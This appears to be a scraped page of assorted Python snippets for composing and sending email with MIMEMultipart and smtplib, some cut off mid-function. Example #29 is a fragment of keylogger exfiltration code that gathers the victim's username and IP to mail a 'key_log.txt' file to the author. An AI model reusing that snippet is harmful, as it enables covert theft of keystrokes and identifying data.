			subject = "Enjoy a discount on us."
			
			# http://www.wunderground.com/weather/api/d/docs?d=resources/phrase-glossary&MR=1#current_condition_phrases
			if any(w in weather_description for w in {'Drizzle', 'Rain', 'Snow', 
													'Ice', 'Hail', 'Mist', 'Thunderstorm',
													 'Squalls', 'Sandstorm' }) \
			    or current_temp - normal_temp <= -5.0:
			    subject = "Not so nice out? That's okay, e" + subject[1:]
			elif weather_description == 'Clear' or current_temp - normal_temp >= 5.0:
				subject = "It's nice out! " + subject
			
			# index of image in util folder
			i_index = 0
			if 'Thunderstorm' in weather_description:
				i_index = 6
			elif 'Rain' in weather_description or 'Drizzle' in weather_description:
				i_index = 7 if 'Freezing' in weather_description else (5 if is_day else 11)
			elif 'Snow' in weather_description:
				i_index = 8 if is_day else 12
			elif weather_description == 'Clear':
				i_index = 1 if is_day else 9
			elif 'Cloud' in weather_description:
				i_index = 3 if is_day else 10
			elif weather_description == 'Overcast':
				i_index = 2
			
			m = MIMEMultipart()
			m['from'] = sender
			m['to'] = ws.email
			m['subject'] = subject
			
			m.attach(MIMEText((self.form % (city, state, current_temp, weather_description)) + self.form_image % weather_description if i_index else '', 'html'))
			if i_index:
				i = MIMEImage(open(self.image_fn % i_index, 'rb').read())
				i.add_header('Content-ID', '<weather>')
				m.attach(i)
			
			email_dict[ws.email] = m
Example #18
0
import smtplib, ssl
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart

sender_email = os.getenv("SENDER_EMAIL")
receiver_email = os.getenv("RECEIVER_EMAIL")
password = os.getenv("PASSWORD_EMAIL")
smtp_server = os.getenv("SMTP_SERVER", "smtp.gmail.com")

message = MIMEMultipart("alternative")
message["Subject"] = "Ellie Card Report Sunday 19th July"
message["From"] = sender_email
message["To"] = receiver_email

html = """\
<html>
  <body>
  <h1> Ellie did great today! </h1>
  </body>
</html>
"""

message.attach(MIMEText(html, "html"))

context = ssl.create_default_context()
with smtplib.SMTP_SSL(smtp_server, 465, context=context) as server:
    server.login(sender_email, password)
    server.sendmail(sender_email, receiver_email, message.as_string())
Example #19
0
    def __init__(self,
                 queue_d,
                 queue_p,
                 plan_dir,
                 fromaddr,
                 pwd,
                 subject,
                 body,
                 col_email,
                 header=0,
                 col_annex="",
                 annex_folder="",
                 annex_ext="",
                 col_args={}):

        #Contando tempo de execução
        start_time = time.time()
        print("DIr: %s" % plan_dir)
        print("fromaddr: %s" % fromaddr)
        print("pwd %s" % pwd)

        #carregando planilha
        wb = load_workbook(plan_dir)
        ws = wb.active

        #criar lista com os emails a enviar
        lim = len(ws[col_email])
        start = 1 + header
        count = 0
        print(count)

        # conexão base com o servidor
        # para outros emails, buscar o servidor e porta

        server = smtplib.SMTP("smtp.gmail.com", 587)
        server.ehlo()
        server.starttls()
        server.login(fromaddr, pwd)

        print("Conactado.")

        while count < lim:

            toaddr = ws[col_email + str(count + start)].value

            # corpo de texto
            msg = MIMEMultipart()

            msg["From"] = fromaddr
            msg["To"] = toaddr

            #salvando uma versão do corpo do emails para edição
            subject_new = subject
            body_new = body
            #substituindo tags

            for tuple in col_args:
                cell = tuple[0]
                tag = tuple[1]

                print(cell, " e ", tag)

                if ws[cell + str(start + count)].value == None:
                    skip = 1
                    break

                subject_new = subject_new.replace(
                    tag, str(ws[cell + str(start + count)].value))
                body_new = body_new.replace(
                    tag, str(ws[cell + str(start + count)].value))

            #adicionando valores editados ao email

            msg["Subject"] = subject_new
            msg.attach(MIMEText(body_new, "plain"))

            #anexo
            # é necessário converter o anexo para base64 antes de enviar

            if col_annex != "":

                filename = Path(str(ws[col_annex + str(start + count)].value))

                if filename.suffix != annex_ext and annex_ext != "":
                    filename = filename.with_suffix(annex_ext)

                path_to_annex = Path(annex_folder) / filename

                attachment = open(path_to_annex, "rb")

                part = MIMEBase("application", "octet-stream")
                part.set_payload(attachment.read())
                encoders.encode_base64(part)
                part.add_header("Content-Disposition",
                                "attachment; filename= %s" % filename)
                msg.attach(part)
                attachment.close()

            #passando informações para a janela de atividade
            data = [toaddr, subject_new, body_new]
            if "filename" in locals():
                data.append(str(filename))

            queue_d.put(data)

            text = msg.as_string()
            print("Enviando email para %s" % toaddr)
            #time.sleep(2)
            server.sendmail(fromaddr, toaddr, text)
            progress = (count / lim) * 100
            print("Concluido\nProgresso: " + str(progress) + "%")

            queue_p.put(progress)

            count += 1

        server.quit()
        wb.save(plan_dir)
        print("Terminado")
        print("Tempo de execução para " + str(lim) + " envios: " +
              str(time.time() - start_time))
Example #20
0
def send_email_smtp(  # pylint: disable=invalid-name,too-many-arguments,too-many-locals
    to: str,
    subject: str,
    html_content: str,
    config: Dict[str, Any],
    files: Optional[List[str]] = None,
    data: Optional[Dict[str, str]] = None,
    images: Optional[Dict[str, bytes]] = None,
    dryrun: bool = False,
    cc: Optional[str] = None,
    bcc: Optional[str] = None,
    mime_subtype: str = "mixed",
) -> None:
    """
    Send an email with html content, eg:
    send_email_smtp(
        '*****@*****.**', 'foo', '<b>Foo</b> bar',['/dev/null'], dryrun=True)
    """
    smtp_mail_from = config["SMTP_MAIL_FROM"]
    smtp_mail_to = get_email_address_list(to)

    msg = MIMEMultipart(mime_subtype)
    msg["Subject"] = subject
    msg["From"] = smtp_mail_from
    msg["To"] = ", ".join(smtp_mail_to)
    msg.preamble = "This is a multi-part message in MIME format."

    recipients = smtp_mail_to
    if cc:
        smtp_mail_cc = get_email_address_list(cc)
        msg["CC"] = ", ".join(smtp_mail_cc)
        recipients = recipients + smtp_mail_cc

    if bcc:
        # don't add bcc in header
        smtp_mail_bcc = get_email_address_list(bcc)
        recipients = recipients + smtp_mail_bcc

    msg["Date"] = formatdate(localtime=True)
    mime_text = MIMEText(html_content, "html")
    msg.attach(mime_text)

    # Attach files by reading them from disk
    for fname in files or []:
        basename = os.path.basename(fname)
        with open(fname, "rb") as f:
            msg.attach(
                MIMEApplication(
                    f.read(),
                    Content_Disposition="attachment; filename='%s'" % basename,
                    Name=basename,
                ))

    # Attach any files passed directly
    for name, body in (data or {}).items():
        msg.attach(
            MIMEApplication(body,
                            Content_Disposition="attachment; filename='%s'" %
                            name,
                            Name=name))

    # Attach any inline images, which may be required for display in
    # HTML content (inline)
    for msgid, imgdata in (images or {}).items():
        image = MIMEImage(imgdata)
        image.add_header("Content-ID", "<%s>" % msgid)
        image.add_header("Content-Disposition", "inline")
        msg.attach(image)

    send_mime_email(smtp_mail_from, recipients, msg, config, dryrun=dryrun)
Example #21
0
    def send(self,
             recipients,
             sender,
             subject,
             message,
             files=None,
             mimetype=None):
        """
        @param recipients: Recipients of the message
        @type recipients: mixed, string or list
        @param sender: Sender of the email
        @type sender: string
        @param subject: Subject of the email
        @type subject: string
        @param message: Body of the email
        @type message: string
        @param files: List of paths to files to attach
        @type files: list of strings
        @param mimetype: Type of the body plain, html or None for autodetection
        @type mimetype: string
        """
        if isinstance(recipients, basestring):
            recipients = [recipients]
        server = smtplib.SMTP(self._server, self._port)
        server.ehlo()
        if self._ssl:
            server.starttls()
        if self._username:
            server.login(self._username, self._password)

        if mimetype is None:
            if '<html>' in message:
                mimetype = 'html'
            else:
                mimetype = 'plain'

        msg = MIMEText(message, mimetype)

        msg['Subject'] = subject
        msg['From'] = sender
        msg['To'] = ','.join(recipients)

        if files:
            txtmsg = msg
            msg = MIMEMultipart()
            msg['Subject'] = subject
            msg['From'] = sender
            msg['To'] = ','.join(recipients)
            msg.attach(txtmsg)
            for fl in files:
                # Guess the content type based on the file's extension.  Encoding
                # will be ignored, although we should check for simple things like
                # gzip'd or compressed files.
                filename = j.system.fs.getBaseName(fl)
                ctype, encoding = mimetypes.guess_type(fl)
                content = j.system.fs.fileGetContents(fl)
                if ctype is None or encoding is not None:
                    # No guess could be made, or the file is encoded (compressed), so
                    # use a generic bag-of-bits type.
                    ctype = 'application/octet-stream'
                maintype, subtype = ctype.split('/', 1)
                if maintype == 'text':
                    attachement = MIMEText(content, _subtype=subtype)
                elif maintype == 'image':
                    attachement = MIMEImage(content, _subtype=subtype)
                elif maintype == 'audio':
                    attachement = MIMEAudio(content, _subtype=subtype)
                else:
                    attachement = MIMEBase(maintype, subtype)
                    attachement.set_payload(content)
                    # Encode the payload using Base64
                    encoders.encode_base64(attachement)
                # Set the filename parameter
                attachement.add_header('Content-Disposition',
                                       'attachment',
                                       filename=filename)
                msg.attach(attachement)
        server.sendmail(sender, recipients, msg.as_string())
        server.close()
Example #22
0
def SendMail(to_addr, cc_addr, subject, title, content, attfile):
    msg = MIMEMultipart()
    msg['Subject'] = subject
    msg['From'] = '杨晓泳 <*****@*****.**>'

    msg['To'] = to_addr
    if '@' in cc_addr:
        msg['cc'] = cc_addr
        mail_to = GetAddr(to_addr + ';' + cc_addr)
    else:
        mail_to = GetAddr(to_addr)

    content_html = '''<div style="position:relative;"><div>&nbsp;</div>
<div>%s</div>
<div>&nbsp; &nbsp; &nbsp; %s</div><div><div style="FONT-FAMILY: Arial Narrow; COLOR: #909090; FONT-SIZE: 12px"><br><br><br>------------------</div>
<div style="FONT-FAMILY: Verdana; COLOR: #000; FONT-SIZE: 14px">
<div>
<div style="LINE-HEIGHT: 35px; MARGIN: 20px 0px 0px; WIDTH: 305px; HEIGHT: 35px" class="logo"><img src="https://exmail.qq.com/cgi-bin/viewfile?type=logo&amp;domain=ake.com.cn"></div>
<div style="MARGIN: 10px 0px 0px" class="c_detail">
<h4 style="LINE-HEIGHT: 28px; MARGIN: 0px; ZOOM: 1; FONT-SIZE: 14px; FONT-WEIGHT: bold" class="name">杨晓泳</h4>
<p style="LINE-HEIGHT: 22px; MARGIN: 0px; COLOR: #a0a0a0" class="position">税务会计</p>
<p style="LINE-HEIGHT: 22px; MARGIN: 0px; COLOR: #a0a0a0" class="department">广东艾科技术股份有限公司/财务部</p>
<p style="LINE-HEIGHT: 22px; MARGIN: 0px; COLOR: #a0a0a0" class="phone"></p>
<p style="LINE-HEIGHT: 22px; MARGIN: 0px; COLOR: #a0a0a0" class="addr"><span onmouseover="QMReadMail.showLocationTip(this)" class="readmail_locationTip" onmouseout="QMReadMail.hideLocationTip(this)" over="0" style="z-index: auto;">广东省佛山市南海区桂城深海路17号A区三号楼三楼</span></p></div></div></div></div>
<div>&nbsp;</div>
<div><tincludetail></tincludetail></div></div>''' % (title, content)

    msg.attach(MIMEText(content_html, _subtype='html', _charset='gb2312'))
    #正文

    part = MIMEText(open('附件/' + attfile, 'rb').read(), 'base64', 'gb2312')
    part["Content-Type"] = 'application/octet-stream'
    part.add_header('Content-Disposition',
                    'attachment',
                    filename=('gbk', '', attfile))
    msg.attach(part)
    #附件

    try:
        with open('lib/sender.txt') as ss:
            for line in ss:
                mail_user, mail_pwd = line.strip().split('\t')
                break


##        mail_host = "smtp.qq.com"                    # 测试用
        mail_host = "smtp.exmail.qq.com"  # 实际版
        smtpObj = smtplib.SMTP_SSL(mail_host, 465)
        smtpObj.login(mail_user, mail_pwd)
        smtpObj.sendmail(mail_user, mail_to, msg.as_string())
        smtpObj.quit()
        today = datetime.date.today().strftime("%Y-%m-%d")
        nowtime = time.strftime("%Y-%m-%d %H:%M:%S")
        log = open('发送结果/发送报告 %s.txt' % today, 'a')
        print('\n%s\t发送成功\t%s\n' % (attfile, nowtime))
        log.write('%s\t发送成功\t%s\n' % (attfile, nowtime))
        log.close()
    except Exception as err:
        nowtime = time.strftime("%Y-%m-%d %H:%M:%S")
        today = datetime.date.today().strftime("%Y-%m-%d")
        log = open('发送结果/发送报告 %s.txt' % today, 'a')
        log.write('%s\t发送失败\t%s\n' % (attfile, nowtime))
        log.close()
        err_log = open('错误日志.txt', 'a')
        print('\n%s\t发送失败\t%s\t%s\n' % (attfile, err, nowtime))
        err_log.write('%s\t发送失败\t%s\t%s\n' % (attfile, err, nowtime))
        err_log.close()
Example #23
0
 def __init__(self, data, default_encoding="ascii", with_filenames=False):
     self.data = data
     self.default_encoding = default_encoding
     self.with_filenames = with_filenames
     self._mp = MIMEMultipart("form-data")
     self._files = list()
Example #24
0
def project_created(opportunity_obj, employee, attachment=[]):

    fromaddr = "*****@*****.**"
    toaddr = '*****@*****.**'

    msg = MIMEMultipart()
    msg['From'] = fromaddr
    msg['To'] = toaddr
    msg['Cc'] = employee.email
    msg['Subject'] = "Project Created: %s" % (opportunity_obj.name)

    line = '<p style="font-family: sans-serif; font-size: 1em;">Hello,</p><p style="font-family: sans-serif; font-size: 1em;">This is a courtesy e-mail to let you know that Project <a href="http://goval1.novoco.com/jobcore/projects/%s/view/"><b>%s</b></a> has be created.</p>' % (
        opportunity_obj.id, opportunity_obj.name)

    line = line + '<b>Client</b>: <a href="http://goval1.novoco.com/jobcore/accounts/%s/view/"><b>%s</b></a><br>' % (
        opportunity_obj.account.id, opportunity_obj.account)

    if opportunity_obj.contact:
        line = line + '<b>Contact</b>: <a href="http://goval1.novoco.com/jobcore/contacts/%s/view/"><b>%s</b></a><br>' % (
            opportunity_obj.contact.id, opportunity_obj.contact)

    line = line + '<b>Project ID</b>: %s<br>' % (opportunity_obj.id)

    line = line + '<b>Fee</b>: %s<br>' % (opportunity_obj.fee)

    if opportunity_obj.inclusive_expenses == '0':
        line = line + '<b>Expenses</b>: Inclusive<br>'
    elif opportunity_obj.inclusive_expenses == '1':
        line = line + '<b>Expenses</b>: $%s (Plus Exp)<br>' % opportunity_obj.exspense

    line = line + '<b>Retainer</b>: $%s<br>' % (opportunity_obj.retainer)

    line = line + '<b>Due Date</b>: %s<br>' % (opportunity_obj.client_due_date)

    if opportunity_obj.eng_type.all():
        for i in opportunity_obj.eng_type.all():
            line = line + '<b>Engagement Type</b>: %s<br>' % (i)
    else:
        line = line + '<b>Engagement Type</b>: Not Currently Assigned<br>'

    line = line + '<b>Property Name</b>: %s<br>' % (opportunity_obj.name)

    line = line + '<b>Property Location</b>: %s, %s<br>' % (
        opportunity_obj.city, opportunity_obj.state)

    line = line + '<b>Managing Partner</b>: %s<br>' % (opportunity_obj.partner)

    if opportunity_obj.principal:
        line = line + '<b>Principal</b>: %s<br>' % (opportunity_obj.principal)
    else:
        line = line + '<b>Principal</b>: Not Assigned<br>'

    line = line + '<b>Manager</b>: %s<br>' % (opportunity_obj.manager)

    if opportunity_obj.biller:
        line = line + '<b>Biller</b>: %s<br>' % (opportunity_obj.biller)
    else:
        line = line + '<b>Biller</b>: Not Assigned<br>'

    message = line

    msg.attach(MIMEText(message, 'html'))

    for f in attachment:
        filepath = r"%s" % (str(f.file))
        with open(filepath, 'rb') as a_file:
            basename = f.name
            part = MIMEApplication(a_file.read(), Name=basename)
            part[
                'Content-Disposition'] = 'attachment; filename="%s"' % basename
            msg.attach(part)

    server = smtplib.SMTP('SERVER', PORT)
    server.starttls()
    server.login('EMAIL', "PW")
    text = msg.as_string()
    server.sendmail(fromaddr, ['*****@*****.**', employee.email],
                    text)
    server.quit()
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.base import MIMEBase
from email.mime.application import MIMEApplication
from email.header import Header
# 发件人地址,通过控制台创建的发件人地址
username = '******'
# 发件人密码,通过控制台创建的发件人密码
password = '******'
# 自定义的回复地址
replyto = '*****@*****.**'
# 收件人地址或是地址列表,支持多个收件人,最多30个
#rcptto = ['***', '***']
rcptto = '*****@*****.**'
# 构建alternative结构
msg = MIMEMultipart('alternative')
msg['Subject'] = Header('自定义信件主题')
msg['From'] = '%s <%s>' % (Header('自定义发信昵称'), username)
msg['To'] = rcptto
msg['Reply-to'] = replyto
msg['Message-id'] = email.utils.make_msgid()
msg['Date'] = email.utils.formatdate() 
# 构建alternative的text/plain部分
textplain = MIMEText('自定义TEXT纯文本部分', _subtype='plain', _charset='UTF-8')
msg.attach(textplain)
# 构建alternative的text/html部分
texthtml = MIMEText('自定义HTML超文本部分', _subtype='html', _charset='UTF-8')
msg.attach(texthtml)
# 发送邮件
try:
    client = smtplib.SMTP()
Example #26
0
def deltek_update(opportunity_obj, deltek, employee):

    fromaddr = "*****@*****.**"
    partneraddr = opportunity_obj.partner.email
    manageraddr = opportunity_obj.manager.email
    toaddr = partneraddr + ";" + manageraddr
    for i in opportunity_obj.assigned_to.all():
        toaddr = toaddr + ";" + i.email

    partneraddr = [opportunity_obj.partner.email]
    manageraddr = [opportunity_obj.manager.email]
    analystaddr = []
    for i in opportunity_obj.assigned_to.all():
        analystaddr.append(i.email)

    final_toaddr = manageraddr + analystaddr + partneraddr

    msg = MIMEMultipart()
    msg['From'] = fromaddr
    msg['To'] = toaddr
    msg['Subject'] = "Project Update: Deltek # Assigned for %s" % (
        opportunity_obj.name)

    line = '<p style="font-family: sans-serif; font-size: 1em;">Hello,</p><p style="font-family: sans-serif; font-size: 1em;">This is a courtesy e-mail to let you know that Deltek Engagment #%s has been assigned for <a href="http://goval1.novoco.com/jobcore/projects/%s/view/"><b>%s</b></a>.</p>' % (
        deltek, opportunity_obj.id, opportunity_obj.name)

    line = line + '<b>Client</b>: <a href="http://goval1.novoco.com/jobcore/accounts/%s/view/"><b>%s</b></a><br>' % (
        opportunity_obj.account.id, opportunity_obj.account)

    if opportunity_obj.contact:
        line = line + '<b>Contact</b>: <a href="http://goval1.novoco.com/jobcore/contacts/%s/view/"><b>%s</b></a><br>' % (
            opportunity_obj.contact.id, opportunity_obj.contact)

    line = line + '<b>Project ID</b>: %s<br>' % (opportunity_obj.id)

    line = line + '<b>Fee</b>: %s<br>' % (opportunity_obj.fee)

    if opportunity_obj.inclusive_expenses == '0':
        line = line + '<b>Expenses</b>: Inclusive<br>'
    elif opportunity_obj.inclusive_expenses == '1':
        line = line + '<b>Expenses</b>: $%s (Plus Exp)<br>' % opportunity_obj.exspense

    line = line + '<b>Retainer</b>: $%s<br>' % (opportunity_obj.retainer)

    line = line + '<b>Due Date</b>: %s<br>' % (opportunity_obj.client_due_date)

    if opportunity_obj.eng_type.all():
        for i in opportunity_obj.eng_type.all():
            line = line + '<b>Engagement Type</b>: %s<br>' % (i)
    else:
        line = line + '<b>Engagement Type</b>: Not Currently Assigned<br>'

    line = line + '<b>Property Name</b>: %s<br>' % (opportunity_obj.name)

    line = line + '<b>Property Location</b>: %s, %s<br>' % (
        opportunity_obj.city, opportunity_obj.state)

    line = line + '<b>Managing Partner</b>: %s<br>' % (opportunity_obj.partner)

    if opportunity_obj.principal:
        line = line + '<b>Principal</b>: %s<br>' % (opportunity_obj.principal)
    else:
        line = line + '<b>Principal</b>: Not Assigned<br>'

    line = line + '<b>Manager</b>: %s<br>' % (opportunity_obj.manager)

    if opportunity_obj.biller:
        line = line + '<b>Biller</b>: %s<br>' % (opportunity_obj.biller)
    else:
        line = line + '<b>Biller</b>: Not Assigned<br>'

    message = line

    msg.attach(MIMEText(message, 'html'))

    server = smtplib.SMTP('SERVER', PORT)
    server.starttls()
    server.login('EMAIL', "PW")
    text = msg.as_string()
    server.sendmail(fromaddr, final_toaddr, text)
    server.quit()
def sendReportMail(report_files, conf_file):
    print report_files, conf_file
    report_name_list = []
    for i in range(len(report_files)):
        report_name = report_files[i].split('\\')[-1]
        report_name_list.append(report_name)
    print report_name_list
    result = {}
    return_conf = switchCase_tool(conf_file)
    # 邮件服务器
    mail_host = return_conf[conf_file]['mail_host']
    # 邮件服务器端口
    mail_port = return_conf[conf_file]['mail_port']
    # 发件人地址
    mail_user = return_conf[conf_file]['mail_user']
    # 发件人密码
    mail_pwd = return_conf[conf_file]['mail_pwd']
    # 邮件标题
    mail_subject = return_conf[conf_file]['mail_subject'] + \
        '_{0}'.format(
            '_'.join(report_name_list[0].strip('.html').split('_')[-2:]))
    # 收件人地址list
    mail_to = return_conf[conf_file]['mail_to']

    # 判断报告文件是否存在
    if len(report_files) == 0:
        # if not os.path.exists(report_file):
        return jsonify(dict(desc=u'测试报告文件不存在:{0},<strong>先运行一次测试吧!</strong>'.format(report_files)))
    else:
        content_l = []
        for i in range(len(report_files)):
            # 读取测试报告内容
            print str(report_files[i])
            with open(str(report_files[i]), 'r') as f:
                content = f.read().decode('utf-8')
            content_l.append(content)

        content_lists = ''.join(content_l)
        msg = MIMEMultipart('mixed')
        # 添加邮件内容
        msg_html = MIMEText(
            content_lists, _subtype='html', _charset='utf-8')
        msg.attach(msg_html)
        msg['Subject'] = mail_subject
        msg['From'] = mail_user
        msg['To'] = mail_to

        # # 添加附件
        msg_attachment = MIMEText(content_lists, 'html', 'utf-8')
        msg_attachment["Content-Disposition"] = 'attachment; filename="{0}"'.format(
            report_name_list[i])
        msg_attachment["Content-Type"] = 'application/octet-stream'
        msg.attach(msg_attachment)

    try:
        # 连接邮件服务器
        s = smtplib.SMTP()
        s.connect(mail_host, mail_port)
        # 登陆
        s.login(mail_user, mail_pwd)
        # 发送邮件
        s.sendmail(mail_user, mail_to, msg.as_string())
        # 退出
        s.quit()
        result['desc'] = u'测试报告发送成功'

    except Exception as e:
        result['desc'] = u'测试报告发送失败:{0}'.format(e)

    return result
Example #28
0
def create_Message_with_attachment(sender, to, subject, message_text_plain,
                                   message_text_html, attached_file):
    """Create a message for an email.

    message_text: The text of the email message.
    attached_file: The path to the file to be attached.

    Returns:
    An object containing a base64url encoded email object.
    """

    ##An email is composed of 3 part :
    #part 1: create the message container using a dictionary { to, from, subject }
    #part 2: attach the message_text with .attach() (could be plain and/or html)
    #part 3(optional): an attachment added with .attach()

    ## Part 1
    message = MIMEMultipart(
    )  #when alternative: no attach, but only plain_text
    message['to'] = to
    message['from'] = sender
    message['subject'] = subject

    ## Part 2   (the message_text)
    # The order count: the first (html) will be use for email, the second will be attached (unless you comment it)
    message.attach(MIMEText(message_text_html, 'html'))
    message.attach(MIMEText(message_text_plain, 'plain'))

    ## Part 3 (attachement)
    # # to attach a text file you containing "test" you would do:
    # # message.attach(MIMEText("test", 'plain'))

    #-----About MimeTypes:
    # It tells gmail which application it should use to read the attachement (it acts like an extension for windows).
    # If you dont provide it, you just wont be able to read the attachement (eg. a text) within gmail. You'll have to download it to read it (windows will know how to read it with it's extension).

    #-----3.1 get MimeType of attachment
    #option 1: if you want to attach the same file just specify it’s mime types

    #option 2: if you want to attach any file use mimetypes.guess_type(attached_file)

    my_mimetype, encoding = mimetypes.guess_type(attached_file)

    # If the extension is not recognized it will return: (None, None)
    # If it's an .mp3, it will return: (audio/mp3, None) (None is for the encoding)
    #for unrecognized extension it set my_mimetypes to  'application/octet-stream' (so it won't return None again).
    if my_mimetype is None or encoding is not None:
        my_mimetype = 'application/octet-stream'

    main_type, sub_type = my_mimetype.split('/',
                                            1)  # split only at the first '/'
    # if my_mimetype is audio/mp3: main_type=audio sub_type=mp3

    #-----3.2  creating the attachement
    #you don't really "attach" the file but you attach a variable that contains the "binary content" of the file you want to attach

    #option 1: use MIMEBase for all my_mimetype (cf below)  - this is the easiest one to understand
    #option 2: use the specific MIME (ex for .mp3 = MIMEAudio)   - it's a shorcut version of MIMEBase

    #this part is used to tell how the file should be read and stored (r, or rb, etc.)
    if main_type == 'text':
        print("text")
        temp = open(
            attached_file, 'r'
        )  # 'rb' will send this error: 'bytes' object has no attribute 'encode'
        attachement = MIMEText(temp.read(), _subtype=sub_type)
        temp.close()

    elif main_type == 'image':
        print("image")
        temp = open(attached_file, 'rb')
        attachement = MIMEImage(temp.read(), _subtype=sub_type)
        temp.close()

    elif main_type == 'audio':
        print("audio")
        temp = open(attached_file, 'rb')
        attachement = MIMEAudio(temp.read(), _subtype=sub_type)
        temp.close()

    elif main_type == 'application' and sub_type == 'pdf':
        temp = open(attached_file, 'rb')
        attachement = MIMEApplication(temp.read(), _subtype=sub_type)
        temp.close()

    else:
        attachement = MIMEBase(main_type, sub_type)
        temp = open(attached_file, 'rb')
        attachement.set_payload(temp.read())
        temp.close()

    #-----3.3 encode the attachment, add a header and attach it to the message
    encoders.encode_base64(
        attachement)  #https://docs.python.org/3/library/email-examples.html
    filename = os.path.basename(attached_file)
    attachement.add_header('Content-Disposition',
                           'attachment',
                           filename=filename)  # name preview in email
    message.attach(attachement)

    ## Part 4 encode the message (the message should be in bytes)
    message_as_bytes = message.as_bytes(
    )  # the message should converted from string to bytes.
    message_as_base64 = base64.urlsafe_b64encode(
        message_as_bytes)  #encode in base64 (printable letters coding)
    raw = message_as_base64.decode(
    )  # need to JSON serializable (no idea what does it means)
    return {'raw': raw}
Example #29
0
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
import socket

#recuperer le nom d'utilisateur
USER_NAME = getpass.getuser()

#Initialisation
fromaddr = "*****@*****.**"

#Adresse email dest :vous allez recevoir le fichier key_log.txt sur cet email
toaddr = "*****@*****.**"
#Pour voir les fichiers .txt , veuillez utiliser le mot de passe suivant : "python1m"

msg = MIMEMultipart()

msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = "Bonjour, vous trouverez ci joint le fichier key_log.txt, Bonne journee!"

m = "Nom d'utilisateur  : %s" % USER_NAME

#message envoye avec le fichier key_log.txt
body = "Fichier envoye avec succes \n Adresse IP de l'utilisateur : %s\n" % [
    ip for ip in socket.gethostbyname_ex(socket.gethostname())[2]
    if not ip.startswith("127.")
][0]
n = body + m
msg.attach(MIMEText(n, 'plain'))
Example #30
0
print("ENVIAR CORREO GMAIL")
user = input("Correo de Gmail: ")
password = getpass.getpass("Contraseña de Gmail: ")

remitente = input("De: ")
destinatario = input("Para: ")
asunto = input("Asunto del correo: ")
mensaje = input("Mensaje: ")

gmail = smtplib.SMTP("smtp.gmail.com", 587)
gmail.starttls()
gmail.login(user, password)
gmail.set_debuglevel(1)

header = MIMEMultipart()
header["Subject"] = asunto
header["From"] = remitente
header["To"] = destinatario

mensaje = MIMEText(mensaje, "html")
header.attach(mensaje)

gmail.sendmail(remitente, destinatario, header.as_string())

gmail.quit()